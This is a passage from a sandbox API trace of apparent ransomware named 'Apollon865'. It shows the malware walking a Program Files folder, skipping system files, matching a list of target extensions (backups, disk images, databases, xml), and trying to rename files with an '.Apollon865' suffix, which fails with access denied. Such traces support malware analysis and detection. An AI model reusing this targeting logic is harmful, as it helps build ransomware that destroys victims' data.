	[0076.770] lstrcmpiW (lpString1="oskpred", lpString2="ntuser.dat") returned 1
	[0076.770] lstrcmpiW (lpString1="oskpred", lpString2="perflogs") returned -1
	[0076.770] lstrcmpiW (lpString1="oskpred", lpString2="MSBuild") returned 1
	[0076.770] lstrlenW (lpString="oskpred") returned 7
	[0076.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0076.770] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="oskpred" | out: lpString1="oskpred") returned="oskpred"
	[0076.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0076.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x5a37c0
	[0076.770] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc70
	[0076.770] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1
	[0076.770] lstrcmpiW (lpString1="oskpred.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.770] lstrcmpiW (lpString1="oskpred.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.770] lstrcmpiW (lpString1="oskpred.xml", lpString2=".") returned 1
	[0076.770] lstrcmpiW (lpString1="oskpred.xml", lpString2="..") returned 1
	[0076.770] lstrcmpiW (lpString1="oskpred.xml", lpString2="windows") returned -1
	[0076.771] lstrcmpiW (lpString1="oskpred.xml", lpString2="bootmgr") returned 1
	[0076.771] lstrcmpiW (lpString1="oskpred.xml", lpString2="temp") returned -1
	[0076.771] lstrcmpiW (lpString1="oskpred.xml", lpString2="pagefile.sys") returned -1
	[0076.771] lstrcmpiW (lpString1="oskpred.xml", lpString2="boot") returned 1
	[0076.771] lstrcmpiW (lpString1="oskpred.xml", lpString2="ids.txt") returned 1
	[0076.771] lstrcmpiW (lpString1="oskpred.xml", lpString2="ntuser.dat") returned 1
	[0076.771] lstrcmpiW (lpString1="oskpred.xml", lpString2="perflogs") returned -1
	[0076.771] lstrcmpiW (lpString1="oskpred.xml", lpString2="MSBuild") returned 1
	[0076.771] lstrlenW (lpString="oskpred.xml") returned 11
	[0076.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred") returned 72
	[0076.771] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="oskpred.xml" | out: lpString1="oskpred.xml") returned="oskpred.xml"
	[0076.771] lstrlenW (lpString="oskpred.xml") returned 11
	[0076.771] lstrlenW (lpString="Apollon865") returned 10
	[0076.771] lstrcmpiW (lpString1="skpred.xml", lpString2="Apollon865") returned 1
	[0076.771] lstrlenW (lpString=".dll") returned 4
	[0076.771] lstrcmpiW (lpString1="oskpred.xml", lpString2=".dll") returned 1
	[0076.771] lstrlenW (lpString=".lnk") returned 4
	[0076.771] lstrcmpiW (lpString1="oskpred.xml", lpString2=".lnk") returned 1
	[0076.771] lstrlenW (lpString=".ini") returned 4
	[0076.771] lstrcmpiW (lpString1="oskpred.xml", lpString2=".ini") returned 1
	[0076.771] lstrlenW (lpString=".sys") returned 4
	[0076.771] lstrcmpiW (lpString1="oskpred.xml", lpString2=".sys") returned 1
	[0076.771] lstrlenW (lpString="oskpred.xml") returned 11
	[0076.771] lstrlenW (lpString="bak") returned 3
	[0076.771] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.771] lstrlenW (lpString="ba_") returned 3
	[0076.771] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.771] lstrlenW (lpString="dbb") returned 3
	[0076.771] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.771] lstrlenW (lpString="vmdk") returned 4
	[0076.771] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.771] lstrlenW (lpString="rar") returned 3
	[0076.771] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.771] lstrlenW (lpString="zip") returned 3
	[0076.771] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.771] lstrlenW (lpString="tgz") returned 3
	[0076.771] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.772] lstrlenW (lpString="vbox") returned 4
	[0076.772] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.772] lstrlenW (lpString="vdi") returned 3
	[0076.772] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.772] lstrlenW (lpString="vhd") returned 3
	[0076.772] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.772] lstrlenW (lpString="vhdx") returned 4
	[0076.772] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.772] lstrlenW (lpString="avhd") returned 4
	[0076.772] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.772] lstrlenW (lpString="db") returned 2
	[0076.772] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.772] lstrlenW (lpString="db2") returned 3
	[0076.772] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.772] lstrlenW (lpString="db3") returned 3
	[0076.772] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.772] lstrlenW (lpString="dbf") returned 3
	[0076.772] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.772] lstrlenW (lpString="mdf") returned 3
	[0076.772] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.772] lstrlenW (lpString="mdb") returned 3
	[0076.772] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.772] lstrlenW (lpString="sql") returned 3
	[0076.772] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.772] lstrlenW (lpString="sqlite") returned 6
	[0076.772] lstrcmpiW (lpString1="ed.xml", lpString2="sqlite") returned -1
	[0076.772] lstrlenW (lpString="sqlite3") returned 7
	[0076.772] lstrcmpiW (lpString1="red.xml", lpString2="sqlite3") returned -1
	[0076.772] lstrlenW (lpString="sqlitedb") returned 8
	[0076.772] lstrcmpiW (lpString1="pred.xml", lpString2="sqlitedb") returned -1
	[0076.772] lstrlenW (lpString="xml") returned 3
	[0076.772] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.772] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.Apollon865") returned 87
	[0076.772] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.773] GetLastError () returned 0x5
	[0076.773] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml MoveFileEx error 5\r\n") returned 105
	[0076.773] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml MoveFileEx error 5\r\n") returned 105
	[0076.773] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.773] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x38a7
	[0076.773] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x69, lpOverlapped=0x0) returned 1
	[0076.773] CloseHandle (hObject=0x100) returned 1
	[0076.773] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.773] CloseHandle (hObject=0x0) returned 0
	[0076.773] CloseHandle (hObject=0x0) returned 0
	[0076.773] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1
	[0076.773] lstrcmpiW (lpString1="symbols", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.773] lstrcmpiW (lpString1="symbols", lpString2="Apollon865.txt.exe") returned 1
	[0076.773] lstrcmpiW (lpString1="symbols", lpString2=".") returned 1
	[0076.773] lstrcmpiW (lpString1="symbols", lpString2="..") returned 1
	[0076.773] lstrcmpiW (lpString1="symbols", lpString2="windows") returned -1
	[0076.773] lstrcmpiW (lpString1="symbols", lpString2="bootmgr") returned 1
	[0076.774] lstrcmpiW (lpString1="symbols", lpString2="temp") returned -1
	[0076.774] lstrcmpiW (lpString1="symbols", lpString2="pagefile.sys") returned 1
	[0076.774] lstrcmpiW (lpString1="symbols", lpString2="boot") returned 1
	[0076.774] lstrcmpiW (lpString1="symbols", lpString2="ids.txt") returned 1
	[0076.774] lstrcmpiW (lpString1="symbols", lpString2="ntuser.dat") returned 1
	[0076.774] lstrcmpiW (lpString1="symbols", lpString2="perflogs") returned 1
	[0076.774] lstrcmpiW (lpString1="symbols", lpString2="MSBuild") returned 1
	[0076.774] lstrlenW (lpString="symbols") returned 7
	[0076.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 76
	[0076.774] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="symbols" | out: lpString1="symbols") returned="symbols"
	[0076.774] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0076.774] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x5a0c58
	[0076.774] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fcb0
	[0076.774] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1
	[0076.774] lstrcmpiW (lpString1="symbols.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.774] lstrcmpiW (lpString1="symbols.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.774] lstrcmpiW (lpString1="symbols.xml", lpString2=".") returned 1
	[0076.774] lstrcmpiW (lpString1="symbols.xml", lpString2="..") returned 1
	[0076.774] lstrcmpiW (lpString1="symbols.xml", lpString2="windows") returned -1
	[0076.774] lstrcmpiW (lpString1="symbols.xml", lpString2="bootmgr") returned 1
	[0076.774] lstrcmpiW (lpString1="symbols.xml", lpString2="temp") returned -1
	[0076.774] lstrcmpiW (lpString1="symbols.xml", lpString2="pagefile.sys") returned 1
	[0076.774] lstrcmpiW (lpString1="symbols.xml", lpString2="boot") returned 1
	[0076.774] lstrcmpiW (lpString1="symbols.xml", lpString2="ids.txt") returned 1
	[0076.774] lstrcmpiW (lpString1="symbols.xml", lpString2="ntuser.dat") returned 1
	[0076.774] lstrcmpiW (lpString1="symbols.xml", lpString2="perflogs") returned 1
	[0076.774] lstrcmpiW (lpString1="symbols.xml", lpString2="MSBuild") returned 1
	[0076.774] lstrlenW (lpString="symbols.xml") returned 11
	[0076.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols") returned 72
	[0076.774] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="symbols.xml" | out: lpString1="symbols.xml") returned="symbols.xml"
	[0076.774] lstrlenW (lpString="symbols.xml") returned 11
	[0076.774] lstrlenW (lpString="Apollon865") returned 10
	[0076.774] lstrcmpiW (lpString1="ymbols.xml", lpString2="Apollon865") returned 1
	[0076.774] lstrlenW (lpString=".dll") returned 4
	[0076.775] lstrcmpiW (lpString1="symbols.xml", lpString2=".dll") returned 1
	[0076.775] lstrlenW (lpString=".lnk") returned 4
	[0076.775] lstrcmpiW (lpString1="symbols.xml", lpString2=".lnk") returned 1
	[0076.775] lstrlenW (lpString=".ini") returned 4
	[0076.775] lstrcmpiW (lpString1="symbols.xml", lpString2=".ini") returned 1
	[0076.775] lstrlenW (lpString=".sys") returned 4
	[0076.775] lstrcmpiW (lpString1="symbols.xml", lpString2=".sys") returned 1
	[0076.775] lstrlenW (lpString="symbols.xml") returned 11
	[0076.775] lstrlenW (lpString="bak") returned 3
	[0076.775] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.775] lstrlenW (lpString="ba_") returned 3
	[0076.775] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.775] lstrlenW (lpString="dbb") returned 3
	[0076.775] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.775] lstrlenW (lpString="vmdk") returned 4
	[0076.775] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.775] lstrlenW (lpString="rar") returned 3
	[0076.775] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.775] lstrlenW (lpString="zip") returned 3
	[0076.775] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.775] lstrlenW (lpString="tgz") returned 3
	[0076.775] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.775] lstrlenW (lpString="vbox") returned 4
	[0076.775] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.775] lstrlenW (lpString="vdi") returned 3
	[0076.775] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.775] lstrlenW (lpString="vhd") returned 3
	[0076.775] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.775] lstrlenW (lpString="vhdx") returned 4
	[0076.775] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.775] lstrlenW (lpString="avhd") returned 4
	[0076.775] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.775] lstrlenW (lpString="db") returned 2
	[0076.775] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.775] lstrlenW (lpString="db2") returned 3
	[0076.775] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.775] lstrlenW (lpString="db3") returned 3
	[0076.775] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.776] lstrlenW (lpString="dbf") returned 3
	[0076.776] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.776] lstrlenW (lpString="mdf") returned 3
	[0076.776] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.776] lstrlenW (lpString="mdb") returned 3
	[0076.776] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.776] lstrlenW (lpString="sql") returned 3
	[0076.776] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.776] lstrlenW (lpString="sqlite") returned 6
	[0076.776] lstrcmpiW (lpString1="ls.xml", lpString2="sqlite") returned -1
	[0076.776] lstrlenW (lpString="sqlite3") returned 7
	[0076.776] lstrcmpiW (lpString1="ols.xml", lpString2="sqlite3") returned -1
	[0076.776] lstrlenW (lpString="sqlitedb") returned 8
	[0076.776] lstrcmpiW (lpString1="bols.xml", lpString2="sqlitedb") returned -1
	[0076.776] lstrlenW (lpString="xml") returned 3
	[0076.776] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.776] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.Apollon865") returned 87
	[0076.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.780] GetLastError () returned 0x5
	[0076.780] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml MoveFileEx error 5\r\n") returned 105
	[0076.780] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml MoveFileEx error 5\r\n") returned 105
	[0076.780] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.780] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3910
	[0076.780] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x69, lpOverlapped=0x0) returned 1
	[0076.780] CloseHandle (hObject=0x100) returned 1
	[0076.780] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.780] CloseHandle (hObject=0x0) returned 0
	[0076.780] CloseHandle (hObject=0x0) returned 0
	[0076.780] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1
	[0076.781] lstrcmpiW (lpString1="web", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.781] lstrcmpiW (lpString1="web", lpString2="Apollon865.txt.exe") returned 1
	[0076.781] lstrcmpiW (lpString1="web", lpString2=".") returned 1
	[0076.781] lstrcmpiW (lpString1="web", lpString2="..") returned 1
	[0076.781] lstrcmpiW (lpString1="web", lpString2="windows") returned -1
	[0076.781] lstrcmpiW (lpString1="web", lpString2="bootmgr") returned 1
	[0076.781] lstrcmpiW (lpString1="web", lpString2="temp") returned 1
	[0076.781] lstrcmpiW (lpString1="web", lpString2="pagefile.sys") returned 1
	[0076.781] lstrcmpiW (lpString1="web", lpString2="boot") returned 1
	[0076.781] lstrcmpiW (lpString1="web", lpString2="ids.txt") returned 1
	[0076.781] lstrcmpiW (lpString1="web", lpString2="ntuser.dat") returned 1
	[0076.781] lstrcmpiW (lpString1="web", lpString2="perflogs") returned 1
	[0076.781] lstrcmpiW (lpString1="web", lpString2="MSBuild") returned 1
	[0076.781] lstrlenW (lpString="web") returned 3
	[0076.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0076.781] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="web" | out: lpString1="web") returned="web"
	[0076.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0076.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x5a0cf8
	[0076.781] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd90
	[0076.781] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1
	[0076.781] lstrcmpiW (lpString1="web.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.781] lstrcmpiW (lpString1="web.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.781] lstrcmpiW (lpString1="web.xml", lpString2=".") returned 1
	[0076.781] lstrcmpiW (lpString1="web.xml", lpString2="..") returned 1
	[0076.781] lstrcmpiW (lpString1="web.xml", lpString2="windows") returned -1
	[0076.781] lstrcmpiW (lpString1="web.xml", lpString2="bootmgr") returned 1
	[0076.781] lstrcmpiW (lpString1="web.xml", lpString2="temp") returned 1
	[0076.781] lstrcmpiW (lpString1="web.xml", lpString2="pagefile.sys") returned 1
	[0076.781] lstrcmpiW (lpString1="web.xml", lpString2="boot") returned 1
	[0076.781] lstrcmpiW (lpString1="web.xml", lpString2="ids.txt") returned 1
	[0076.781] lstrcmpiW (lpString1="web.xml", lpString2="ntuser.dat") returned 1
	[0076.781] lstrcmpiW (lpString1="web.xml", lpString2="perflogs") returned 1
	[0076.781] lstrcmpiW (lpString1="web.xml", lpString2="MSBuild") returned 1
	[0076.781] lstrlenW (lpString="web.xml") returned 7
	[0076.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web") returned 68
	[0076.781] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="web.xml" | out: lpString1="web.xml") returned="web.xml"
	[0076.782] lstrlenW (lpString="web.xml") returned 7
	[0076.782] lstrlenW (lpString="Apollon865") returned 10
	[0076.782] lstrlenW (lpString=".dll") returned 4
	[0076.782] lstrcmpiW (lpString1="web.xml", lpString2=".dll") returned 1
	[0076.782] lstrlenW (lpString=".lnk") returned 4
	[0076.782] lstrcmpiW (lpString1="web.xml", lpString2=".lnk") returned 1
	[0076.782] lstrlenW (lpString=".ini") returned 4
	[0076.782] lstrcmpiW (lpString1="web.xml", lpString2=".ini") returned 1
	[0076.782] lstrlenW (lpString=".sys") returned 4
	[0076.782] lstrcmpiW (lpString1="web.xml", lpString2=".sys") returned 1
	[0076.782] lstrlenW (lpString="web.xml") returned 7
	[0076.782] lstrlenW (lpString="bak") returned 3
	[0076.782] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.782] lstrlenW (lpString="ba_") returned 3
	[0076.782] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.782] lstrlenW (lpString="dbb") returned 3
	[0076.782] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.782] lstrlenW (lpString="vmdk") returned 4
	[0076.782] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.782] lstrlenW (lpString="rar") returned 3
	[0076.782] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.782] lstrlenW (lpString="zip") returned 3
	[0076.782] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.782] lstrlenW (lpString="tgz") returned 3
	[0076.782] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.782] lstrlenW (lpString="vbox") returned 4
	[0076.782] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.782] lstrlenW (lpString="vdi") returned 3
	[0076.782] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.782] lstrlenW (lpString="vhd") returned 3
	[0076.782] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.782] lstrlenW (lpString="vhdx") returned 4
	[0076.782] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.782] lstrlenW (lpString="avhd") returned 4
	[0076.782] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.782] lstrlenW (lpString="db") returned 2
	[0076.782] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.782] lstrlenW (lpString="db2") returned 3
	[0076.783] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.783] lstrlenW (lpString="db3") returned 3
	[0076.783] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.783] lstrlenW (lpString="dbf") returned 3
	[0076.783] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.783] lstrlenW (lpString="mdf") returned 3
	[0076.783] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.783] lstrlenW (lpString="mdb") returned 3
	[0076.783] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.783] lstrlenW (lpString="sql") returned 3
	[0076.783] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.783] lstrlenW (lpString="sqlite") returned 6
	[0076.783] lstrcmpiW (lpString1="eb.xml", lpString2="sqlite") returned -1
	[0076.783] lstrlenW (lpString="sqlite3") returned 7
	[0076.783] lstrlenW (lpString="sqlitedb") returned 8
	[0076.783] lstrlenW (lpString="xml") returned 3
	[0076.783] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.783] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.Apollon865") returned 83
	[0076.783] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.783] GetLastError () returned 0x5
	[0076.783] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml MoveFileEx error 5\r\n") returned 101
	[0076.783] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml MoveFileEx error 5\r\n") returned 101
	[0076.783] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.783] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3979
